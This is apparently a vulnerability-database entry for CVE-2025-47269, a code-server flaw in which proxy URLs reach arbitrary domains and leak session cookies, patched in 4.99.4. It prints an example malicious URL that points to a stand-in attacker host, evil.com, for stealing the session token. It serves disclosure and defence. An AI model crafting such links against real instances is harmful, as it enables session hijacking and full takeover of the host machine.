CVE-2025-47269
highpriority · track · 16EPSS 0.445 · 99 %ileEUUSEPSS · scored 2026-10-27
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-p483-wpfp-42cjcode-server's session cookie can be extracted by having user visit specially crafted proxy URL2025-05-09ghsa · osvUS
### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. ### Patches Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.
also known as (3)
Other names and identifiers for this entity.
sources
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references (11)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-47269cnnvd
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299ecnnvd
- https://github.com/coder/code-server/releasesPatchcnnvd
- https://github.com/coder/code-server/releases/tag/v4.99.4cnnvd
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cjcnnvd
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299eenisa_euvd
- https://github.com/coder/code-server/releases/tag/v4.99.4enisa_euvd
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cjenisa_euvd
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